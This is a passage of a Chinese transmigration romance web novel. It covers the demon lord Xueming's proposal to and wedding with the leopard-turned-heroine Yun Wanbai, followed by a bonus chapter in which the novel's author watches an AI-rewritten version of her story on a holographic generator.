“去吧。”宿庚再次拍了拍肩,鼓励他跨出这一步。 荼玉深吸一口气,他一边整理情绪,一边穿越了热闹的人潮走到云宛白面前。 云宛白刚喝下一碗大补汤,正笑意盈盈地听着大家的祝福,她的身旁还站着一个大木桩血冥。 见到荼玉的身影,云宛白不由得看向他,只是在她还没来得及打招呼之前,就听见荼玉对她道了一声: “恭喜啊。” 恭喜? 我刚复活没多久,说恭喜……额,倒也算行吧? 云宛白的表情有些古怪,没太懂荼玉的深意。 但这个时候,荼玉不仅盯了她一眼,还将 眼神瞟向一旁的“守护神”血冥,随后再次将眼神飘了回来。 云宛白忽然明悟了。 脸颊悄悄爬上了一抹红晕,她对荼玉点了点头,很小声地说了一句:“谢谢。” “嗯,没事。” 荼玉强行将嘴角上扬对她笑了一下,然后迅速转过身扭头离开。 不是他不想在这种时候表现的帅气而又豁达,哪怕他在心中预演了一千遍一万遍,但真到了这一刻时他还是会有些难过。 不过,他只会将难过留给自己,不会再打扰到宛白。 “他刚刚是什么意思?”血冥皱起来的眉头就没放下去过,忍不住侧身去问乖乖。 他对荼玉的警惕心一如既往,要不是乖乖刚醒,他也不会允许荼玉靠的太近。 “没什么,他说让你好好照顾我呢。”云宛白笑道。 “这说的什么话,我当然会好好照顾你。”血冥忍不住哼了一声。 “人家说的是那意思吗?”云宛白翻了个白眼。 “不是吗?”血冥疑惑。 大约在心里咀嚼了近半分钟他才慢慢领悟,眉头不由得舒展开,语气也软下来了,试探地问:“他,是看到了?” “我觉得是。”云宛白摸着下巴。 “哦。”血冥很是缓慢地点头,随后这张冰山脸一点点地融化,莫名羞赧了起来。 见状,云宛白真的很想扶额。 救命,之前我俩都心照不宣那么久了,你现在害羞个什么劲啊! 但不得不说,这样容易脸红害羞的魔尊大人挺让人想要再继续逗一逗的。 只可惜,正当云宛白打算继续“调戏”血冥的时候,绊脚石来了。 当初云宛白和血冥的世纪生死恋不知道被多少人念念不忘。 更有不少人在看了他们的事迹后,特意收集齐全了各种角度记录的留影石,将他们跨越生死的遗憾告白反复观看大哭特哭。 这要是让云宛白知道了,她肯定会很意外她和血冥的所谓“虐恋”竟然成就了不知道多少的BECP粉。 而CP粉的数量绝对超乎她和血冥的想象,上至老下至小,甚至在这大殿中也全部都是她和血冥的粉头子。 眼下苦情故事中的两位主角终于都复活了,原本的虐恋也迎来了能够弥补遗憾的机会,这简直令CP粉们狂喜。 其中还有一位能人,他异常生动的把云宛白当时求血冥不要死的画面再加上他自己的理解,在现场重新生动地演绎了一遍,那就一个肝肠寸断,催人泪下。 没错,这位戏精附体的仁兄就是青云。 “啊~冥冥~你不要死~” 青云浮夸地跪坐在地上,强行把自己的好哥们荼玉从角落里拉出来给自己打配合,在对方生不如死的绝望表情中自顾自地深情表演。 “冥冥,为了救你,我什么都愿意,包括我的命!” “爷爷,快告诉我怎么救他,我要救他、要救他、救他、他~” 血冥看的耳根子都红透了,甚至微微别开眼神不敢细看。 但即便如此,他也没有要制止的意思,甚至还放任青云继续演戏。 作为一个将留影石翻看过数千遍数万遍的人,在乖乖没醒之前,这些画面只会令他心中刺痛。 可是在乖乖苏醒之后,每一次想到在危机时刻,乖乖都如此坚定地选择要救他,他的心中又是一阵甜蜜。 他恨不得多听几遍多看几遍,他想要证明他和乖乖之间是双向的奔赴,并非他自己的一厢情愿。 所以,青云欠凑式的画面再现,在他看来都蒙上了一层爱情滤镜,好看的不行。 人类的悲欢大不相同。 作为另一位当事人云宛白,她只感觉到社死,以及疯狂地想要打死眼前这只臭大鹤。 她警告了一次。 “冥冥~我爱你~”青云撅嘴装作亲亲。 她警告了第二次。 “不~不要离开我~”青云伸出双臂抱紧他自己。 这是第三次警告。 “哦冥~我们生生世世不分——我靠你干嘛打我!?” “打的就是你!” 云宛白撸起袖子就是干,管它身体什么虚不虚的呢,反正她刚喝完了一碗十全大补汤,正好可以揍揍鹤来发泄多余的精力。 “救命啊打人啦!” “有没有人管管啊!” “哎呀!哎哟!别揍了死女人!不就演一下吗,那么小气干嘛!” “打鹤不打脸!死豹子你过分!” 云宛白充耳不闻,精准对准他的眼眶。 “让你演!让你演!” “你不挺能耐的吗,继续啊死鹤!” 大殿一阵鸡飞狗跳,祝福声中混杂着欢笑声与打斗声,好不热闹。 这着实是一场别开生面的庆祝会。 欢乐的插曲暂且不提,等到乖乖揍青云累了,提早一步安然入睡后,血冥便独自开始了自己的准备。 在乖乖昏迷的那段时间里他想通了很多事,性情发生了很大的变化。 他已不再是从前那个犹犹豫豫的性子,现在,只要他下定决心的事情他就一定要去做到。 所以,他也有他自己的方式去回应乖乖。 只能说,血冥要是骗起人来那绝对是一位高手。 他所有的计划全部都瞒着云宛白进行,硬是没让她发现任何破绽。 直到一个月后,云宛白身体养好了许多,血冥陪着她一起在月君湖畔漫步消食之时,两个人坐在了一块巨石上抬头赏月。 月君湖周围并没有其他人,安静得只能听到神鸦和暗光萤的叫声,一切安静祥和的令人无比放松。 云宛白更是直接大字型的躺在了巨石上,放松地伸了个懒腰,拍拍自己微微鼓起的小肚子。 “吃撑了~”云宛白眯着眼睛长吐了一口气。 血冥就只是勾唇,还用手戳了戳她的肚子。 不过云宛白眼睛都不需要睁,就能精准拍开血冥的恶爪。 无他,唯手熟尔。 血冥一脸可惜地收手,不过,他在云宛白看不见的方向,已然默默拿出了一枚水晶匣,就等着云宛白起身。 这是他策划已久的告白之夜。 他甚至在来之前特意让神思渺为他配了一枚降低心率的药,好让他不那么紧张。 吃了过后,他果然平静了,没有因为失了理智而出什么差错。 唯一美中不足的是,他心爱的女主角并没有那么配合。 云宛白躺着正舒服呢,小懒腰伸的一眯眼之后就睁不开眼了,索性在大石头上躺平晒会儿月光。 傍晚的凉风吹的正舒服,让人昏昏欲睡。 一切都好像静下来了,放松的没有任何心事。 这种什么都不用想的感觉真 好。 “冥冥。” “嗯?” “你说,这六界是不是自此之后就太平下来了?” “不能保证,但我和神思渺会尽力。” “哎~有时候想想真魔幻啊,我总感觉仙魔大战从来没发生过,但又感觉它好像已经过了很久很久。” “嗯。” “不过,能有一个像现在这样的好结局,就很让人知足了。” “那我们的结局呢?” “什么?” 云宛白猝不及防,原本恬淡的内心被问的忽然一阵心慌。 她倏地睁开了眼,扭头望向血冥,却见冥冥一脸认真地直勾勾盯着她。 本来血冥盘腿坐着,但现在却屈起了其中一条腿,看起来有点像是单膝下跪。 而他的手中正拿着一个亮闪闪的方匣子。 云宛白慢动作的眨了两下眼,还没明白过来,傻愣愣地问了句:“你在干嘛?” 好不容易酝酿出来的认真顿时破功,血冥扑哧一声:“这,不明显吗?” “啊?” 云宛白真没绕过弯来。 血冥勾唇低头,慢慢打开了方匣子,露出了一枚由他潜入极地冰原万丈之下,历经辛劳找到冰脉之髓打造而成的冰戒。 而冰戒最上方凝结着一颗璀璨耀眼的灵晶之钻。 这是非要占他便宜当大哥的神思渺倾情赞助的,由神界灵台树千年才能凝成一颗的果子淬火锻造而成。 而装着它的水晶匣也大有来历,此乃是冥界轮回门的伴生物,只有经历过生死之人重回轮回门下,迈入浮空树干中经受轮回门的考验后才能催生而成。 若是心智不坚定之人迈入其中,能完好无损地出来都是一个奇迹。 但这些艰辛都比不上为他想乖乖准备惊喜的心意。 云宛白看的一愣。 别怪她在关键时刻犯傻,明明拿出来的这玩意儿实在是和现实世界里求婚用的钻戒太像了。 等等。 冥冥他该不会……死了一趟之后穿越去现代以后又重生了吧?! 【完结】 第91章 第91章在?摸摸腹肌 “宫廷玉液酒?” “奇变偶不变?” “今年过节不送礼?” 她连问了三个问题,但血冥都听的一脸茫然:“你说什么?” “哦没事了。”云宛白摆摆手。 应该没问题,如果冥冥真成了老乡,这几个问题肯定忍不住不答的。 “你怎么想到要送我这个?” 云宛白的问题一个比一个多,硬是不让血冥把准备已久的告白腹稿说出口。 好在血冥在她面前毫无脾气,但他给出的解答是:“我去人间闲逛的时候,发现他们现在也兴起了这样新颖的求爱习俗,而你不是也向来喜欢人界的烟火气吗,我便如此准备了。” “是吗?” “是啊,你都已经好几年没醒了,等我下次带你去一趟你就会看见了。” “哦哦。” 冥冥说的也有道理,自己确实“睡”了很久,没准还真就是自己孤陋寡闻,没跟上人间的变化速度吧。 血冥笑容不改,心理素质强的可怕。 这当然不是什么人间习俗,这是他之前昏迷不醒时做过的梦中梦到的。 在梦里,他见到了完全不同的乖乖,也见到了一个完全不同的世界。 在那里,他也向乖乖求过一次婚。 后来在他醒来之后,原本模糊的梦境居然一天天地清晰起来,或许上天也不想让他忘记那样的奇遇,想让他再为乖乖准备一次惊喜。 他紧紧盯着乖乖,观察着她的面部表情。 见她应该不再有提问的打算后,终于长吐一口气,将旖旎的氛围重新拽了回来,拿出那枚钻戒牵过乖乖的手。 云宛白已经紧张地僵住了。 虽然和冥冥确认了情侣关系,但他们两人平时牵手拥抱比较多,亲吻很少。 以为还在纯爱的暧昧阶段呢,怎么一下子就求婚了? 血冥并不知道云宛白的心乱如麻,他只是觉得,是时候了。 遗憾的是,他表白的节奏被乖乖全打乱了,什么腹稿通通想不起来。 他只能随心而述。 “乖乖,你我之间的心意不便再阐明,但我想说的是,你对我而言的意义是非常重要的。” “虽然我一直照顾你,但你教会我的东西更多,是你让我拥有了本该不属于我的明媚色彩。” “从前的我总是不放心你,一直想要管着你,生怕你磕了碰了。” “但现在我知道,你是坚强的,也是勇敢的,你需要生长的自由。” “所以,学会放手是我该学会处理的课题。你只管放心大胆地去做任何你想做的事,只要你回头,我永远都在。” “我知道你并不喜欢依附任何人,看似很乖,实际上一身反骨,最是反叛。” “但我爱的就是这样的你。” “你是乖乖,你是云宛白,你是你自己。” 云宛白本来不想哭的,但泪水就是不听话地盈满了眼眶。 “云宛白。” 在这个郑重的时刻,他特意喊了她的名字。 “你愿意,让我永远陪在你身边吗?” 血冥恳切而又忐忑地望向她,举着钻戒伸在空中的手隐隐颤抖。 云宛白再也忍不住了,她扑了过去抱了个满怀: “愿意!” “愿意愿意!” 怎么会不愿意呢? 她的家人,她爱的人都在这个世界,她当然愿意留下来,永远不离开。 只是在感动之余,云宛白总觉得哪里有点怪怪的。 她的第六感告诉她血冥很反常,但她无法确定。 直到激动的心情褪去,她彻底成为了血冥的未婚妻后,她才偷偷摸摸地进意识空间打算看个答案。 她已经很久没进来了,本来打算慢慢将金手指这件事情淡忘,真正地去融入这个世界。 但好奇心实在让人心痒痒,她最终还是破了戒。 小说依然是那本“后妈眼”小说,它并没有把血冥的梦境内容记录在内。 但它把血冥这段时间偷摸准备惊喜的过程记录得很详实,包括他为了这枚钻戒到底付出了怎样的努力。 云宛白看的又感动又恨铁不成钢。 冥冥这家伙真是的,怎么就这么老实,一点都不会邀功! 明明准备过程这么艰辛,如果告诉她的话,那就是一个巨大的加分项,她的心疼和感动绝对会更上一层。 说实在的,云宛白压根没看出来这枚戒指居然有这么贵重,毕竟从他云淡风轻掏出戒指的表现来看,还以为就只是花钱买的或者从他宝库里面掏的呢。 云宛白继续把小说往后翻,但这一翻就立马傻眼了。 【血冥见自己求婚的第一步成功之后,便马不停蹄地准备起了提亲仪式。】 【除此之外,他和还神思渺、宿庚、青云等人合伙商量,决定再给云宛白一次惊喜,为她准备一个能被六界同时祝福的宏大婚礼】 【兄长神思渺特意找了神界赫赫有名的忖天定神测算黄道吉日,这最佳的大喜之日,便定在了七日之后。】 此时,云宛白只求一双没看过剧透的眼睛,后悔不已。 完犊子,提前被剧透了。 都怪我,好奇心这么重干嘛! 接下来要想再装出一副惊喜的样子很考验演技哎!! 狠掐人中。 …… 血冥还不知道自己精心筹划的“惊喜”已经被看破。 在确定乖乖的心意后,血冥像是生怕她反悔一样立马准备聘礼提亲,而统妖司自然就成了云宛白的娘家地,宿庚的身份也成了云宛白的爷爷,并非血冥的下属。 整个统妖司的地位简直水涨船高。 这一切都没瞒着云宛白,更何况在第二天,压抑不住雀跃心情的血冥早就对外宣告了他与云宛白订婚的消息,云宛白正式成为了他的未婚妻。 云宛白装惊喜装的很辛苦,但她还是想吐槽一句: 向大家分享喜悦没什么,但你特意让干高级情报工作的魔谛门到处发通知贴布告的行为,是不是有点兴奋过头了啊!! 血冥根本听不进去,笑容多的简直和原著中的冷酷反派大魔头毫无瓜葛。 忙里偷闲的神思渺也乐意操办好兄弟的大喜事。 他前不久才处理完人间人皇的政事,老皇帝死了,他新扶持了一位仁德之君上位,之后就按照禅让制进行。 只要不出什么大乱子他就不再插手人间之事,接下来的发展就看人界自己。 为了给弟妹撑场子,再加上给好兄弟添点有趣的小麻烦,神思渺认了云宛白作义妹,在她的大婚之日同统妖司一起为她添上了令六界瞠目结舌的嫁妆,光是送嫁妆的队伍就绵延到了天边的尽头。 CP粉们也凑热闹的凑了好几车嫁妆一同送了过去,沿路沾沾喜气,好找寻属于自己的有缘人。 神思渺还在拦门时很好的扮演了一位难缠的大舅子,差点把血冥折磨的都想叫他爹了。 青云也一样,作为好闺蜜他更不可能手下留情,什么魔尊不魔尊的,他只管今朝,绝不想以后的结果。 等到血冥成功迈进了大门,那简直和脱了层皮没什么两样,眼神都有些黯淡了。 好在魔界成亲没那么多的规矩,习俗和环节也格外简化。 云宛白和血冥向 宿庚敬了一杯酒,而后又往地上倒了一杯酒敬血冥的母亲。 在宿庚即将从慈爱面容崩溃到嚎啕大哭之前,两人被火灼护送着赶紧进了洞房。 新婚之夜,二人微微喘着气,默契地望向对方凌乱的红妆。 二人本想绷住情绪,但最终还是以失败告终,哈哈大笑了起来。 这魔幻的一天,足以令他二人日后回忆起来还能够津津乐道。 最终,在喝了交杯酒之后,云宛白还是像往常一样扑到了他的怀里,认认真真向血冥道了一声感谢。 从一开始只打算苟活保命,到现在竟然与魔尊血冥成婚,谁能够想到竟然会是这样的结局呢? 至于新婚之后的蜜月,有义兄在,他们二人应该可以在外游山玩水好一段时间。 只要义兄撑得住,他们就绝不会心疼。 比如,一起再来一遍她还没完成的成年历练? 烛火摇曳,两人相拥而眠,二人的思绪不由得回到了多年前。 那时候云宛白还是豹身,就缩在床尾睡觉。 而现在,她直接钻到了血冥的怀里,张开双臂抱住了他。 云宛白想的很理所当然,反正都成婚了,自己前世也老大不小的,该恩爱的时候就要恩爱嘛。 尤其还能逗逗眼前这个纯情大魔头,这感觉可真上头。 这不,稍微戳一下碰一下就又跟木头一样僵住了。 真好玩~ “摸摸腹肌。” 云宛白不由得生起了恶趣味,玩心四起。 以前她确实不好意思,老老实实收敛着坏心思,绝不动手动脚。 但现在不一样,现在她可是合法身份,非常放得开。 没等血冥同意,她直接上手自己去摸。 但是,血冥也学会了反击。 “哪有让你抢先的道理。” 血冥找准时机一把抓住了她四处作乱的手,狠狠吻了上去,熟练的像是在心里排练了千遍万遍一样。 平日里让让你也就算了,但是今天,尤其是此刻,该求饶的应该是你。 “……唔!” 云宛白被突袭的一愣,反抗不成只能愤愤咬了回去。 可恶!你小子居然敢骗我! 耳鬓厮磨中,被剥夺走的空气突然涌入了一些,恍惚中传来了血冥的低吟:“乖乖,你不乖。” “明明是你!你有本事就放……唔唔!” 床幔朦胧,灯火闪烁。 直至这一刻。 两颗漂浮的心才真正落定,在此处扎根生长,逐渐编织成家的模样。 “我爱你。” 血冥说了一遍又一遍。 “我也爱你。” 云宛白回应了一遍又一遍。 …… 【云宛白与血冥的婚礼很是盛大,他们得到了六界的祝福,在大婚之后游山玩水,到处都留下了他们的足迹,吸引不少有情人一同前去】 【从此,异界来客云宛白与魔尊血冥,过上了幸福快乐的日子。】 【当年的小奶豹,也终于达成了她的隐藏主线任务,将反派杀神养成了完美豹奴】 【故事成就:完美改写】 【请主人查收】 第92章 第92章番外亲妈本人上线 【滴滴——】 【故事成就:完美改写】 【请主人查收】 【请主人查收】 松静顶着鸡窝头,小心翼翼地把刚倒好开水的泡面端了过来,顺手将数位板压在泡面盒上继续焖软。 听到了提示音后,她盘腿坐在椅子上,用屁股带动椅子往前挪了两步。 “咦,这么快就加载完了?” 她有些惊讶,再次端起放在电脑桌上的类似Switch游戏机一样的东西,嘴里嘟囔着:“这能行吗?” 听说,这是傲煌公司新出品的全息小说生成器,只要获取小说授权,就能生成原剧情的全息电影沉浸式观看。 除此之外还可以购买服务升级套餐,不仅能够自由DIY剧情线,还能将电影变成游戏,让自己以小说中的路人角色进去客串体验。 松静一看就是个死宅,生活质量也不高,但她并不差钱,所以她毫不犹豫地直接买了顶配版。 顶配版还有一个好处就是能够参与傲煌游戏公司的内测活动,使用最前沿的角色智能化技术,让小说中的角色在全新世界中真正的活过来。 “来吧,让我看看我继子的故事线。”她搓手期待。 没错,松静是一名作者,《穿成神君的小白喵》就是她写的。 小说作者本人要想获得自己小说的授权,那简直再轻易不过了。 所以在购买了全新小说生成器之后,她想也没想到就输入了自己印象最深刻的一部作品。 不得不说,傲煌的全息技术确实很强大,她先是沉浸式的看完了按原著剧情走向的全息电影,接着又以npc的身份进入了以小说一比一复刻的全息游戏世界,好好感受了一番“穿书”的滋味。 但看着看着,她也觉得有一些地方的剧情逻辑处理的还不够圆满。 不过这也很能理解,因为这本小说是她刚上大学时候写的,想法那叫一个天马行空。 虽然这本小说火得一塌糊涂,但她心里也清楚,自己只不过是恰巧站在了风口,运气好而已。 而且在反复回顾剧情后,她也意识到自己的亲妈眼非常之重,导致很多角色的笔墨分配不均,心里正发愁呢。 哎,你猜怎么着? 傲煌的内测活动里恰好就出了一个“智能改写”功能,说是能够为数据赋予“人性”,让他们在小说世界中自由生长推动剧情,很适合开展各种if线。 不过这个功能也不是免费的,改写一次就需要一千元。 一千元,够她吃一个月的泡面了。 但是,松静也很期待自己写的小说活过来之后会是一个怎样的发展。 智能改写功能的进度很慢,从周一生成到了周五都还卡在88%的进度。 松静都已经经历了从期待到焦急再到摆烂遗忘的过程,早就把全息小说生成器丢到了电脑桌的一旁,懒得再去管它。 要不是今天机器突然出声提示说改写完成,她都快把这事儿给忘了。 作为画写双修的勤奋型宅女,在写小说的空档时间里,她都会靠画画来转换注意力,顺便赚点零用钱。 读者和单主皆不可负。 而且她还很喜欢给自己笔下中的人物画人设图,这热情简直比开新文还要浓烈。 只要马甲捂的好,自产自销非常爽。 往常她的观看视角都是以神思渺出发,毕竟亲儿子嘛,当妈的总是会格外偏爱。 但亲儿子看久了也会嫌弃,就比如说她某天突然从角落里想起来了自己不太上心的继子血冥,还特别心潮澎湃的为他画了一张图。 说实话,既然能把他放在男二的位置上,心中多多少少对他还是有那么点爱的。 只是这份爱战胜不过男主,就只能沦为男二的悲惨命运。 等她激情开画,一气呵成画图结束后,她突然意识到自己笔下的血冥好像变了。 嘶……变哪儿了呢? 松静托腮想了很久,最后发觉她竟然把血冥画出了一种人夫感?! 原本片面的冷漠大魔王,竟然也有了属于他自己的温度。 这下子,松静对他的灵感和亏 欠噌噌噌的冒了出来,画出了好多新的福利插画,在血冥读者粉群里瞬间炸开了锅。 或许就是出于这种弥补和好奇的心理,这一回,松静在“智能改写”剧情中特意选择以“血冥”为主视角。 她想看看如果血冥真的有了自己的灵魂,整个故事的发展又会变成如何。 松静飞快地泡面嗦完,莫名有些紧张地搓了搓手。 别人可能不懂她此刻的心理,毕竟后妈当惯了,她对血冥的剧情走向真的想不出更好的结局。 在没有自己干扰的情况下,如果血冥他能顺利活下来并且能够拥有幸福快乐的魔生,那自己这个后妈名号也就实锤了。 但是,在什么样的情况下血冥才能够顺利摆脱原剧情呢? 松静将与生成器配套的VR眼镜拿了出来,戴在了头上,很快她的眼前便浮现出了一行字: 【主人,改写故事已生成】 【是否选择观看】 【是/否】 松静轻轻吐了一口气,选择了—— 【是】 眼前一片眩晕,传来了熟悉的失重感,等松静缓过来之后,她上帝视角的画面便开始动了。 开头剧情基本大差不差,血冥的形象也并没有发生太大的改变,到目前为止都没有出现OOC的情况。 她的大儿和二儿之间感情一如既往的稳定,就连小白喵也没什么变化。 开头五分钟的电影画面并没有给松静带来太大的惊喜。 这让她不禁更加疑惑:生成器给出的“完美改写”到底是一种什么样的评定标准,水剧情难道没人管吗? 等她看到血冥被神思渺怂恿着也动起了养宠的心思,她这才觉得有趣了起来。 哦~ 看来剧情的转折点就出现在养宠这件事情上了。 难不成血冥没有掐死那只冰棘豹,而是养起了它,成功变为了铲屎官二号? 猜起来简直一点没难度啊。 松静对于自己的推理很有自信,在她看来这是最符合逻辑的改写之处。 果不其然,她答对了,正当她沾沾自喜没多久的时候,冰棘豹身份揭秘了。 松静差点没从椅子上跌下来,这个二号穿书者是个什么鬼啊?! 这波情理之内意料之外的剧情发展,让松静受到了不小的冲击。 没想到阅历丰富的自己还会有猜错走向的一天,你这个生成器有点意思。 不服气的松静继续往下看,很快就看到这只冰棘豹不仅是一位穿书者,她还有着穿书福利金手指,能够随时改写和查看原剧情。 等等,她的意识空间怎么和我查看改写内容的全息空间那么相似? 还有同样在空间内的巨幅小说,这不就是自己把虚拟改写键设立成实体后的模样吗? 松静看的好气又好笑,好好好,生成器你这么玩儿也不是不行。 不过看到这里,她也大概能够猜出血冥的故事线发展了。 无非就是这位新的穿书者成功攻略了血冥,就像神君的小白喵一样成为了魔尊的小奶豹,也是甜宠走向。 哎?这么一来的话,那我的大儿和二儿岂不是都收获幸福美满的爱情了? 松静刚这么一想,新的剧情走向就狠狠打了她一巴掌。 小白喵陶灿灿真“出轨”了。 “卧——”松静惊呆了。 我的好闺女,你怎么就不要我的好大儿了?! 虽然温柔男主总是不如其他几个性格鲜明的男配更有感觉,但松静本人就是特别特别喜欢温柔型男主。 这种能被永久治愈并且安心的感觉非常戳她的萌点,可惜现实中她从来没有遇到过,就只能把所有的美好全部都倾注在了她最爱的大儿子身上。 松静之所以给陶灿灿安排了那么多的男配,为的就是在多方对比中依然突出神思渺的好,好让她能够更加坚定的选择神思渺。 结果她居然真的被男配拐走了,还搞起了后宫? 不行不行不行,我儿可不能原谅你! 好在神思渺也是个拎得清的好男主,当断则断,既然搞不了爱情那就安安心心搞起事业,把恋爱主场让给血冥,当起他的幕后军师。 这让松静松了一口气,就是亲妈本人遭受的重创后遗症有点严重,久久没有缓过神来。 但松静在冷静下来之后也不得不承认,其实陶灿灿的选择会更加符合她本人的行为逻辑一些。 因为一开始她给陶灿灿设置的重重阻碍,有很多都是为了保住神思渺男主地位而刻意让剧情重新回到1v1线上来。 如果真的让陶灿灿放飞自我的话,那估计和现在的场面差不多。 也好,那就放过她的亲儿子吧,1V1永远是最棒的! 看着血冥和云宛白的互动日常,磕到了的老母亲慢慢缓解了被小白喵伤害到的痛。 真别说,比起萌妹小白花,冷脸血冥明显和傲娇修炼狂魔更配。 即便是从后妈的视角来看,松静也对云宛白这个人设极为满意。 再加上她全程围观了血冥从漠视到上心,从喜当爹到恨当爹的种种变化后,连带着对二儿的怜爱也更多了。 嘿嘿,好磕,真好磕。 两个别别扭扭的家伙最可爱了~ 跟随着剧情一路跌宕起伏,看着面前这些熟悉但又陌生的小说世界,松静迎来了最后的大结局,虽然俗套,但最令人安心。 直到摘下眼镜,她仍然意犹未尽。 以血冥为主角的故事虽然告一段落,但她深知,即便是由生成器改写后的故事,也仍然还有许多内容没有交代。 成婚并不是终点,而是一个新的起点。 比如他们婚后会如何,我的好大儿神思渺有没有迎来爱情转机,青云青鹏的相认环节会如何,还有可爱的新角色荼玉会不会再邂逅属于他的新的幸福? 这些都没有交代啊! 松静总算有点懂得在看到挖坑不填的作者后咬牙切齿的心理了。 算了,你不写的话那就我写,我要给我的二儿一个好交代,告诉他后妈也是妈,也是一样爱他的! 凌晨四点刚刚看完改写电影后的松静突然打起了鸡血,打开电脑就是一顿噼里啪啦键盘冒烟。 等着! 我必写完!